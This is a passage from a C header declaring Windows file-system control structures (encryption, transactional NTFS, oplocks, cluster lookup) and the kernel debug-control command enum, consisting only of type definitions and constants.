*PFILE_ZERO_DATA_INFORMATION; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _FILE_ALLOCATED_RANGE_BUFFER { LARGE_INTEGER FileOffset; LARGE_INTEGER Length; } FILE_ALLOCATED_RANGE_BUFFER, *PFILE_ALLOCATED_RANGE_BUFFER; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _ENCRYPTION_BUFFER { ULONG EncryptionOperation; UCHAR Private[1]; } ENCRYPTION_BUFFER, *PENCRYPTION_BUFFER; #define FILE_SET_ENCRYPTION 0x00000001 #define FILE_CLEAR_ENCRYPTION 0x00000002 #define STREAM_SET_ENCRYPTION 0x00000003 #define STREAM_CLEAR_ENCRYPTION 0x00000004 #define MAXIMUM_ENCRYPTION_VALUE 0x00000004 typedef struct _DECRYPTION_STATUS_BUFFER { BOOLEAN NoEncryptedStreams; } DECRYPTION_STATUS_BUFFER, *PDECRYPTION_STATUS_BUFFER; #define ENCRYPTION_FORMAT_DEFAULT (0x01) #define COMPRESSION_FORMAT_SPARSE (0x4000) typedef struct _REQUEST_RAW_ENCRYPTED_DATA { LONGLONG FileOffset; ULONG Length; } REQUEST_RAW_ENCRYPTED_DATA, *PREQUEST_RAW_ENCRYPTED_DATA; typedef struct _ENCRYPTED_DATA_INFO { ULONGLONG StartingFileOffset; ULONG OutputBufferOffset; ULONG BytesWithinFileSize; ULONG BytesWithinValidDataLength; USHORT CompressionFormat; UCHAR DataUnitShift; UCHAR ChunkShift; UCHAR ClusterShift; UCHAR EncryptionFormat; USHORT NumberOfDataBlocks; ULONG DataBlockSize[ANYSIZE_ARRAY]; } ENCRYPTED_DATA_INFO; typedef ENCRYPTED_DATA_INFO *PENCRYPTED_DATA_INFO; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _PLEX_READ_DATA_REQUEST { LARGE_INTEGER ByteOffset; ULONG ByteLength; ULONG PlexNumber; } PLEX_READ_DATA_REQUEST, *PPLEX_READ_DATA_REQUEST; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _SI_COPYFILE { ULONG SourceFileNameLength; ULONG DestinationFileNameLength; ULONG Flags; WCHAR FileNameBuffer[1]; } SI_COPYFILE, *PSI_COPYFILE; #define COPYFILE_SIS_LINK 0x0001 // Copy only if source is SIS #define COPYFILE_SIS_REPLACE 0x0002 // Replace destination if it exists, otherwise don't. #define COPYFILE_SIS_FLAGS 0x0003 #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0600) typedef struct _FILE_MAKE_COMPATIBLE_BUFFER { BOOLEAN CloseDisc; } FILE_MAKE_COMPATIBLE_BUFFER, *PFILE_MAKE_COMPATIBLE_BUFFER; typedef struct _FILE_SET_DEFECT_MGMT_BUFFER { BOOLEAN Disable; } FILE_SET_DEFECT_MGMT_BUFFER, *PFILE_SET_DEFECT_MGMT_BUFFER; typedef struct _FILE_QUERY_SPARING_BUFFER { ULONG SparingUnitBytes; BOOLEAN SoftwareSparing; ULONG TotalSpareBlocks; ULONG FreeSpareBlocks; } FILE_QUERY_SPARING_BUFFER, *PFILE_QUERY_SPARING_BUFFER; typedef struct _FILE_QUERY_ON_DISK_VOL_INFO_BUFFER { LARGE_INTEGER DirectoryCount; // -1 = unknown LARGE_INTEGER FileCount; // -1 = unknown USHORT FsFormatMajVersion; // -1 = unknown or n/a USHORT FsFormatMinVersion; // -1 = unknown or n/a WCHAR FsFormatName[ 12]; LARGE_INTEGER FormatTime; LARGE_INTEGER LastUpdateTime; WCHAR CopyrightInfo[ 34]; WCHAR AbstractInfo[ 34]; WCHAR FormattingImplementationInfo[ 34]; WCHAR LastModifyingImplementationInfo[ 34]; } FILE_QUERY_ON_DISK_VOL_INFO_BUFFER, *PFILE_QUERY_ON_DISK_VOL_INFO_BUFFER; #define SET_REPAIR_ENABLED (0x00000001) #define SET_REPAIR_VOLUME_BITMAP_SCAN (0x00000002) #define SET_REPAIR_DELETE_CROSSLINK (0x00000004) #define SET_REPAIR_WARN_ABOUT_DATA_LOSS (0x00000008) #define SET_REPAIR_DISABLED_AND_BUGCHECK_ON_CORRUPT (0x00000010) #define SET_REPAIR_VALID_MASK (0x0000001F) typedef enum _SHRINK_VOLUME_REQUEST_TYPES { ShrinkPrepare = 1, ShrinkCommit, ShrinkAbort } SHRINK_VOLUME_REQUEST_TYPES, *PSHRINK_VOLUME_REQUEST_TYPES; typedef struct _SHRINK_VOLUME_INFORMATION { SHRINK_VOLUME_REQUEST_TYPES ShrinkRequestType; ULONGLONG Flags; LONGLONG NewNumberOfSectors; } SHRINK_VOLUME_INFORMATION, *PSHRINK_VOLUME_INFORMATION; #define TXFS_RM_FLAG_LOGGING_MODE 0x00000001 #define TXFS_RM_FLAG_RENAME_RM 0x00000002 #define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000004 #define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000008 #define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000010 #define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000020 #define TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000040 #define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000080 #define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000100 #define TXFS_RM_FLAG_GROW_LOG 0x00000400 #define TXFS_RM_FLAG_SHRINK_LOG 0x00000800 #define TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE 0x00001000 #define TXFS_RM_FLAG_PRESERVE_CHANGES 0x00002000 #define TXFS_RM_FLAG_RESET_RM_AT_NEXT_START 0x00004000 #define TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START 0x00008000 #define TXFS_RM_FLAG_PREFER_CONSISTENCY 0x00010000 #define TXFS_RM_FLAG_PREFER_AVAILABILITY 0x00020000 #define TXFS_LOGGING_MODE_SIMPLE (0x0001) #define TXFS_LOGGING_MODE_FULL (0x0002) #define TXFS_TRANSACTION_STATE_NONE 0x00 #define TXFS_TRANSACTION_STATE_ACTIVE 0x01 #define TXFS_TRANSACTION_STATE_PREPARED 0x02 #define TXFS_TRANSACTION_STATE_NOTACTIVE 0x03 #define TXFS_MODIFY_RM_VALID_FLAGS \ (TXFS_RM_FLAG_LOGGING_MODE | \ TXFS_RM_FLAG_RENAME_RM | \ TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ TXFS_RM_FLAG_SHRINK_LOG | \ TXFS_RM_FLAG_GROW_LOG | \ TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE | \ TXFS_RM_FLAG_PRESERVE_CHANGES | \ TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ TXFS_RM_FLAG_PREFER_CONSISTENCY | \ TXFS_RM_FLAG_PREFER_AVAILABILITY) typedef struct _TXFS_MODIFY_RM { // // TXFS_RM_FLAG_* flags // ULONG Flags; // // Maximum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX is set. // ULONG LogContainerCountMax; // // Minimum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN is set. // ULONG LogContainerCountMin; // // Target log container count for TXFS_RM_FLAG_SHRINK_LOG or _GROW_LOG. // ULONG LogContainerCount; // // When the log is full, increase its size by this much. Indicated as either a percent of // the log size or absolute container count, depending on which of the TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_* // flags is set. // ULONG LogGrowthIncrement; // // Sets autoshrink policy if TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE is set. Autoshrink // makes the log shrink so that no more than this percentage of the log is free at any time. // ULONG LogAutoShrinkPercentage; // // Reserved. // ULONGLONG Reserved; // // If TXFS_RM_FLAG_LOGGING_MODE is set, this must contain one of TXFS_LOGGING_MODE_SIMPLE // or TXFS_LOGGING_MODE_FULL. // USHORT LoggingMode; } TXFS_MODIFY_RM, *PTXFS_MODIFY_RM; #define TXFS_RM_STATE_NOT_STARTED 0 #define TXFS_RM_STATE_STARTING 1 #define TXFS_RM_STATE_ACTIVE 2 #define TXFS_RM_STATE_SHUTTING_DOWN 3 #define TXFS_QUERY_RM_INFORMATION_VALID_FLAGS \ (TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ TXFS_RM_FLAG_PREFER_CONSISTENCY | \ TXFS_RM_FLAG_PREFER_AVAILABILITY) typedef struct _TXFS_QUERY_RM_INFORMATION { ULONG BytesRequired; ULONGLONG TailLsn; ULONGLONG CurrentLsn; ULONGLONG ArchiveTailLsn; ULONGLONG LogContainerSize; LARGE_INTEGER HighestVirtualClock; ULONG LogContainerCount; ULONG LogContainerCountMax; ULONG LogContainerCountMin; ULONG LogGrowthIncrement; ULONG LogAutoShrinkPercentage; ULONG Flags; // // Exactly one of TXFS_LOGGING_MODE_SIMPLE or TXFS_LOGGING_MODE_FULL. // USHORT LoggingMode; // // Reserved. // USHORT Reserved; // // Activity state of the RM. May be exactly one of the above-defined TXF_RM_STATE_ values. // ULONG RmState; // // Total capacity of the log in bytes. // ULONGLONG LogCapacity; // // Amount of free space in the log in bytes. // ULONGLONG LogFree; // // Size of $Tops in bytes. // ULONGLONG TopsSize; // // Amount of space in $Tops in use. // ULONGLONG TopsUsed; // // Number of transactions active in the RM at the time of the call. // ULONGLONG TransactionCount; // // Total number of single-phase commits that have happened the RM. // ULONGLONG OnePCCount; // // Total number of two-phase commits that have happened the RM. // ULONGLONG TwoPCCount; // // Number of times the log has filled up. // ULONGLONG NumberLogFileFull; // // Age of oldest active transaction in the RM, in milliseconds. // ULONGLONG OldestTransactionAge; GUID RMName; ULONG TmLogPathOffset; } TXFS_QUERY_RM_INFORMATION, *PTXFS_QUERY_RM_INFORMATION; #define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN 0x01 #define TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK 0x02 #define TXFS_ROLLFORWARD_REDO_VALID_FLAGS \ (TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_REDO_LSN | \ TXFS_ROLLFORWARD_REDO_FLAG_USE_LAST_VIRTUAL_CLOCK) typedef struct _TXFS_ROLLFORWARD_REDO_INFORMATION { LARGE_INTEGER LastVirtualClock; ULONGLONG LastRedoLsn; ULONGLONG HighestRecoveryLsn; ULONG Flags; } TXFS_ROLLFORWARD_REDO_INFORMATION, *PTXFS_ROLLFORWARD_REDO_INFORMATION; #define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000001 #define TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000002 #define TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE 0x00000004 #define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000008 #define TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000010 #define TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000020 #define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000040 #define TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000080 #define TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT 0x00000200 #define TXFS_START_RM_FLAG_LOGGING_MODE 0x00000400 #define TXFS_START_RM_FLAG_PRESERVE_CHANGES 0x00000800 #define TXFS_START_RM_FLAG_PREFER_CONSISTENCY 0x00001000 #define TXFS_START_RM_FLAG_PREFER_AVAILABILITY 0x00002000 #define TXFS_START_RM_VALID_FLAGS \ (TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ TXFS_START_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ TXFS_START_RM_FLAG_LOG_CONTAINER_SIZE | \ TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ TXFS_START_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ TXFS_START_RM_FLAG_RECOVER_BEST_EFFORT | \ TXFS_START_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ TXFS_START_RM_FLAG_LOGGING_MODE | \ TXFS_START_RM_FLAG_PRESERVE_CHANGES | \ TXFS_START_RM_FLAG_PREFER_CONSISTENCY | \ TXFS_START_RM_FLAG_PREFER_AVAILABILITY) typedef struct _TXFS_START_RM_INFORMATION { // // TXFS_START_RM_FLAG_* flags. // ULONG Flags; // // RM log container size, in bytes. This parameter is optional. // ULONGLONG LogContainerSize; // // RM minimum log container count. This parameter is optional. // ULONG LogContainerCountMin; // // RM maximum log container count. This parameter is optional. // ULONG LogContainerCountMax; // // RM log growth increment in number of containers or percent, as indicated // by TXFS_START_RM_FLAG_LOG_GROWTH_INCREMENT_* flag. This parameter is // optional. // ULONG LogGrowthIncrement; // // RM log auto shrink percentage. This parameter is optional. // ULONG LogAutoShrinkPercentage; // // Offset from the beginning of this structure to the log path for the KTM // instance to be used by this RM. This must be a two-byte (WCHAR) aligned // value. This parameter is required. // ULONG TmLogPathOffset; // // Length in bytes of log path for the KTM instance to be used by this RM. // This parameter is required. // USHORT TmLogPathLength; // // Logging mode for this RM. One of TXFS_LOGGING_MODE_SIMPLE or // TXFS_LOGGING_MODE_FULL (mutually exclusive). This parameter is optional, // and will default to TXFS_LOGGING_MODE_SIMPLE. // USHORT LoggingMode; // // Length in bytes of the path to the log to be used by the RM. This parameter // is required. // USHORT LogPathLength; // // Reserved. // USHORT Reserved; // // The path to the log (in Unicode characters) to be used by the RM goes here. // This parameter is required. // WCHAR LogPath[1]; } TXFS_START_RM_INFORMATION, *PTXFS_START_RM_INFORMATION; // // Structures for FSCTL_TXFS_GET_METADATA_INFO // typedef struct _TXFS_GET_METADATA_INFO_OUT { // // Returns the TxfId of the file referenced by the handle used to call this routine. // struct { LONGLONG LowPart; LONGLONG HighPart; } TxfFileId; // // The GUID of the transaction that has the file locked, if applicable. // GUID LockingTransaction; // // Returns the LSN for the most recent log record we've written for the file. // ULONGLONG LastLsn; // // Transaction state, a TXFS_TRANSACTION_STATE_* value. // ULONG TransactionState; } TXFS_GET_METADATA_INFO_OUT, *PTXFS_GET_METADATA_INFO_OUT; #define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_CREATED 0x00000001 #define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_DELETED 0x00000002 typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY { // // Offset in bytes from the beginning of the TXFS_LIST_TRANSACTION_LOCKED_FILES // structure to the next TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. // ULONGLONG Offset; // // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_* flags to indicate whether the // current name was deleted or created in the transaction. // ULONG NameFlags; // // NTFS File ID of the file. // LONGLONG FileId; // // Reserved. // ULONG Reserved1; ULONG Reserved2; LONGLONG Reserved3; // // NULL-terminated Unicode path to this file, relative to RM root. // WCHAR FileName[1]; } TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY, *PTXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY; typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES { // // GUID name of the KTM transaction that files should be enumerated from. // GUID KtmTransaction; // // On output, the number of files involved in the transaction on this RM. // ULONGLONG NumberOfFiles; // // The length of the buffer required to obtain the complete list of files. // This value may change from call to call as the transaction locks more files. // ULONGLONG BufferSizeRequired; // // Offset in bytes from the beginning of this structure to the first // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. // ULONGLONG Offset; } TXFS_LIST_TRANSACTION_LOCKED_FILES, *PTXFS_LIST_TRANSACTION_LOCKED_FILES; // // Structures for FSCTL_TXFS_LIST_TRANSACTIONS // typedef struct _TXFS_LIST_TRANSACTIONS_ENTRY { // // Transaction GUID. // GUID TransactionId; // // Transaction state, a TXFS_TRANSACTION_STATE_* value. // ULONG TransactionState; // // Reserved fields // ULONG Reserved1; ULONG Reserved2; LONGLONG Reserved3; } TXFS_LIST_TRANSACTIONS_ENTRY, *PTXFS_LIST_TRANSACTIONS_ENTRY; typedef struct _TXFS_LIST_TRANSACTIONS { // // On output, the number of transactions involved in this RM. // ULONGLONG NumberOfTransactions; // // The length of the buffer required to obtain the complete list of // transactions. Note that this value may change from call to call // as transactions enter and exit the system. // ULONGLONG BufferSizeRequired; } TXFS_LIST_TRANSACTIONS, *PTXFS_LIST_TRANSACTIONS; #if _MSC_VER >= 1200 #pragma warning(push) #endif #pragma warning(disable:4201) // unnamed struct typedef struct _TXFS_READ_BACKUP_INFORMATION_OUT { union { // // Used to return the required buffer size if return code is STATUS_BUFFER_OVERFLOW // ULONG BufferLength; // // On success the data is copied here. // UCHAR Buffer[1]; } DUMMYUNIONNAME; } TXFS_READ_BACKUP_INFORMATION_OUT, *PTXFS_READ_BACKUP_INFORMATION_OUT; #if _MSC_VER >= 1200 #pragma warning(pop) #else #pragma warning( default : 4201 ) #endif typedef struct _TXFS_WRITE_BACKUP_INFORMATION { UCHAR Buffer[1]; } TXFS_WRITE_BACKUP_INFORMATION, *PTXFS_WRITE_BACKUP_INFORMATION; #define TXFS_TRANSACTED_VERSION_NONTRANSACTED 0xFFFFFFFE #define TXFS_TRANSACTED_VERSION_UNCOMMITTED 0xFFFFFFFF typedef struct _TXFS_GET_TRANSACTED_VERSION { // // The version that this handle is opened to. This will be // TXFS_TRANSACTED_VERSION_UNCOMMITTED for nontransacted and // transactional writer handles. // ULONG ThisBaseVersion; // // The most recent committed version available. // ULONG LatestVersion; // // If this is a handle to a miniversion, the ID of the miniversion. // If it is not a handle to a minivers, this field will be 0. // USHORT ThisMiniVersion; // // The first available miniversion. Unless the miniversions are // visible to the transaction bound to this handle, this field will be zero. // USHORT FirstMiniVersion; // // The latest available miniversion. Unless the miniversions are // visible to the transaction bound to this handle, this field will be zero. // USHORT LatestMiniVersion; } TXFS_GET_TRANSACTED_VERSION, *PTXFS_GET_TRANSACTED_VERSION; #define TXFS_SAVEPOINT_SET 0x00000001 // // Roll back to a specified savepoint. // #define TXFS_SAVEPOINT_ROLLBACK 0x00000002 // // Clear (make unavailable for rollback) the most recently set savepoint // that has not yet been cleared. // #define TXFS_SAVEPOINT_CLEAR 0x00000004 // // Clear all savepoints from the transaction. // #define TXFS_SAVEPOINT_CLEAR_ALL 0x00000010 typedef struct _TXFS_SAVEPOINT_INFORMATION { HANDLE KtmTransaction; ULONG ActionCode; ULONG SavepointId; } TXFS_SAVEPOINT_INFORMATION, *PTXFS_SAVEPOINT_INFORMATION; typedef struct _TXFS_CREATE_MINIVERSION_INFO { USHORT StructureVersion; USHORT StructureLength; ULONG BaseVersion; USHORT MiniVersion; } TXFS_CREATE_MINIVERSION_INFO, *PTXFS_CREATE_MINIVERSION_INFO; typedef struct _TXFS_TRANSACTION_ACTIVE_INFO { BOOLEAN TransactionsActiveAtSnapshot; } TXFS_TRANSACTION_ACTIVE_INFO, *PTXFS_TRANSACTION_ACTIVE_INFO; #endif /* _WIN32_WINNT >= 0x0600 */ #if (_WIN32_WINNT >= 0x0601) typedef struct _BOOT_AREA_INFO { ULONG BootSectorCount; // the count of boot sectors present on the file system struct { LARGE_INTEGER Offset; } BootSectors[2]; // variable number of boot sectors. } BOOT_AREA_INFO, *PBOOT_AREA_INFO; typedef struct _RETRIEVAL_POINTER_BASE { LARGE_INTEGER FileAreaOffset; // sector offset to the first allocatable unit on the filesystem } RETRIEVAL_POINTER_BASE, *PRETRIEVAL_POINTER_BASE; typedef struct _FILE_FS_PERSISTENT_VOLUME_INFORMATION { ULONG VolumeFlags; ULONG FlagMask; ULONG Version; ULONG Reserved; } FILE_FS_PERSISTENT_VOLUME_INFORMATION, *PFILE_FS_PERSISTENT_VOLUME_INFORMATION; typedef struct _FILE_SYSTEM_RECOGNITION_INFORMATION { CHAR FileSystem[9]; } FILE_SYSTEM_RECOGNITION_INFORMATION, *PFILE_SYSTEM_RECOGNITION_INFORMATION; #define OPLOCK_LEVEL_CACHE_READ (0x00000001) #define OPLOCK_LEVEL_CACHE_HANDLE (0x00000002) #define OPLOCK_LEVEL_CACHE_WRITE (0x00000004) #define REQUEST_OPLOCK_INPUT_FLAG_REQUEST (0x00000001) #define REQUEST_OPLOCK_INPUT_FLAG_ACK (0x00000002) #define REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE (0x00000004) #define REQUEST_OPLOCK_CURRENT_VERSION 1 typedef struct _REQUEST_OPLOCK_INPUT_BUFFER { // // This should be set to REQUEST_OPLOCK_CURRENT_VERSION. // USHORT StructureVersion; USHORT StructureLength; // // One or more OPLOCK_LEVEL_CACHE_* values to indicate the desired level of the oplock. // ULONG RequestedOplockLevel; // // REQUEST_OPLOCK_INPUT_FLAG_* flags. // ULONG Flags; } REQUEST_OPLOCK_INPUT_BUFFER, *PREQUEST_OPLOCK_INPUT_BUFFER; #define REQUEST_OPLOCK_OUTPUT_FLAG_ACK_REQUIRED (0x00000001) #define REQUEST_OPLOCK_OUTPUT_FLAG_MODES_PROVIDED (0x00000002) typedef struct _REQUEST_OPLOCK_OUTPUT_BUFFER { USHORT StructureVersion; USHORT StructureLength; ULONG OriginalOplockLevel; ULONG NewOplockLevel; ULONG Flags; ACCESS_MASK AccessMode; USHORT ShareMode; } REQUEST_OPLOCK_OUTPUT_BUFFER, *PREQUEST_OPLOCK_OUTPUT_BUFFER; #define SD_GLOBAL_CHANGE_TYPE_MACHINE_SID 1 typedef struct _SD_CHANGE_MACHINE_SID_INPUT { USHORT CurrentMachineSIDOffset; USHORT CurrentMachineSIDLength; USHORT NewMachineSIDOffset; USHORT NewMachineSIDLength; } SD_CHANGE_MACHINE_SID_INPUT, *PSD_CHANGE_MACHINE_SID_INPUT; typedef struct _SD_CHANGE_MACHINE_SID_OUTPUT { // // How many entries were successfully changed in the $Secure stream // ULONGLONG NumSDChangedSuccess; // // How many entries failed the update in the $Secure stream // ULONGLONG NumSDChangedFail; // // How many entries are unused in the current security stream // ULONGLONG NumSDUnused; // // The total number of entries processed in the $Secure stream // ULONGLONG NumSDTotal; // // How many entries were successfully changed in the $MFT file // ULONGLONG NumMftSDChangedSuccess; // // How many entries failed the update in the $MFT file // ULONGLONG NumMftSDChangedFail; // // Total number of entries process in the $MFT file // ULONGLONG NumMftSDTotal; } SD_CHANGE_MACHINE_SID_OUTPUT, *PSD_CHANGE_MACHINE_SID_OUTPUT; // // Generic INPUT & OUTPUT structures for FSCTL_SD_GLOBAL_CHANGE // #if _MSC_VER >= 1200 #pragma warning(push) #endif #pragma warning(disable:4201) // unnamed struct typedef struct _SD_GLOBAL_CHANGE_INPUT { // // Input flags (none currently defined) // ULONG Flags; // // Specifies which type of change we are doing and pics which member // of the below union is in use. // ULONG ChangeType; union { SD_CHANGE_MACHINE_SID_INPUT SdChange; }; } SD_GLOBAL_CHANGE_INPUT, *PSD_GLOBAL_CHANGE_INPUT; typedef struct _SD_GLOBAL_CHANGE_OUTPUT { // // Output State Flags (none currently defined) // ULONG Flags; // // Specifies which below union to use // ULONG ChangeType; union { SD_CHANGE_MACHINE_SID_OUTPUT SdChange; }; } SD_GLOBAL_CHANGE_OUTPUT, *PSD_GLOBAL_CHANGE_OUTPUT; #if _MSC_VER >= 1200 #pragma warning(pop) #else #pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ #endif // // Flag to indicate the encrypted file is sparse // #define ENCRYPTED_DATA_INFO_SPARSE_FILE 1 typedef struct _EXTENDED_ENCRYPTED_DATA_INFO { ULONG ExtendedCode; ULONG Length; ULONG Flags; ULONG Reserved; } EXTENDED_ENCRYPTED_DATA_INFO, *PEXTENDED_ENCRYPTED_DATA_INFO; typedef struct _LOOKUP_STREAM_FROM_CLUSTER_INPUT { ULONG Flags; ULONG NumberOfClusters; LARGE_INTEGER Cluster[1]; } LOOKUP_STREAM_FROM_CLUSTER_INPUT, *PLOOKUP_STREAM_FROM_CLUSTER_INPUT; typedef struct _LOOKUP_STREAM_FROM_CLUSTER_OUTPUT { ULONG Offset; ULONG NumberOfMatches; ULONG BufferSizeRequired; } LOOKUP_STREAM_FROM_CLUSTER_OUTPUT, *PLOOKUP_STREAM_FROM_CLUSTER_OUTPUT; #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_PAGE_FILE 0x00000001 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_DENY_DEFRAG_SET 0x00000002 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_FS_SYSTEM_FILE 0x00000004 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_TXF_SYSTEM_FILE 0x00000008 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_MASK 0xff000000 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_DATA 0x01000000 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_INDEX 0x02000000 #define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_SYSTEM 0x03000000 typedef struct _LOOKUP_STREAM_FROM_CLUSTER_ENTRY { ULONG OffsetToNext; ULONG Flags; LARGE_INTEGER Reserved; LARGE_INTEGER Cluster; WCHAR FileName[1]; } LOOKUP_STREAM_FROM_CLUSTER_ENTRY, *PLOOKUP_STREAM_FROM_CLUSTER_ENTRY; typedef struct _FILE_TYPE_NOTIFICATION_INPUT { ULONG Flags; ULONG NumFileTypeIDs; GUID FileTypeID[1]; } FILE_TYPE_NOTIFICATION_INPUT, *PFILE_TYPE_NOTIFICATION_INPUT; #define FILE_TYPE_NOTIFICATION_FLAG_USAGE_BEGIN 0x00000001 //Set when adding the specified usage on the given file #define FILE_TYPE_NOTIFICATION_FLAG_USAGE_END 0x00000002 //Set when removing the specified usage on the given file DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_PAGE_FILE, 0x0d0a64a1, 0x38fc, 0x4db8, 0x9f, 0xe7, 0x3f, 0x43, 0x52, 0xcd, 0x7c, 0x5c ); DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_HIBERNATION_FILE, 0xb7624d64, 0xb9a3, 0x4cf8, 0x80, 0x11, 0x5b, 0x86, 0xc9, 0x40, 0xe7, 0xb7 ); DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_CRASHDUMP_FILE, 0x9d453eb7, 0xd2a6, 0x4dbd, 0xa2, 0xe3, 0xfb, 0xd0, 0xed, 0x91, 0x09, 0xa9 ); #endif /* _WIN32_WINNT >= 0x0601 */ #endif // _FILESYSTEMFSCTL_ // 21.12.2011 - end // 09.06.2011 - end typedef enum _SYSDBG_COMMAND { SysDbgQueryModuleInformation, SysDbgQueryTraceInformation, SysDbgSetTracepoint, SysDbgSetSpecialCall, SysDbgClearSpecialCalls, SysDbgQuerySpecialCalls, SysDbgBreakPoint, SysDbgQueryVersion, SysDbgReadVirtual, SysDbgWriteVirtual, SysDbgReadPhysical, SysDbgWritePhysical, SysDbgReadControlSpace, SysDbgWriteControlSpace, SysDbgReadIoSpace, SysDbgWriteIoSpace, SysDbgReadMsr, SysDbgWriteMsr, SysDbgReadBusData, SysDbgWriteBusData, SysDbgCheckLowMemory, SysDbgEnableKernelDebugger, SysDbgDisableKernelDebugger, SysDbgGetAutoKdEnable, SysDbgSetAutoKdEnable, SysDbgGetPrintBufferSize, SysDbgSetPrintBufferSize, SysDbgGetKdUmExceptionEnable, SysDbgSetKdUmExceptionEnable, SysDbgGetTriageDump, SysDbgGetKdBlockEnable, SysDbgSetKdBlockEnable, SysDbgRegisterForUmBreakInfo, SysDbgGetUmBreakPid, SysDbgClearUmBreakPid, SysDbgGetUmAttachPid, SysDbgClearUmAttachPid } SYSDBG_COMMAND, *PSYSDBG_COMMAND; typedef struct _SYSDBG_VIRTUAL { PVOID Address; PVOID Buffer; ULONG Request; } SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; typedef struct _SYSDBG_PHYSICAL { PHYSICAL_ADDRESS Address; PVOID Buffer; ULONG Request; } SYSDBG_PHYSICAL, *PSYSDBG_PHYSICAL; typedef struct _SYSDBG_CONTROL_SPACE { ULONG64 Address; PVOID Buffer; ULONG Request; ULONG Processor; } SYSDBG_CONTROL_SPACE, *PSYSDBG_CONTROL_SPACE; typedef enum _INTERFACE_TYPE { UnknownInterfaceType = 1 } INTERFACE_TYPE ; typedef struct _SYSDBG_IO_SPACE 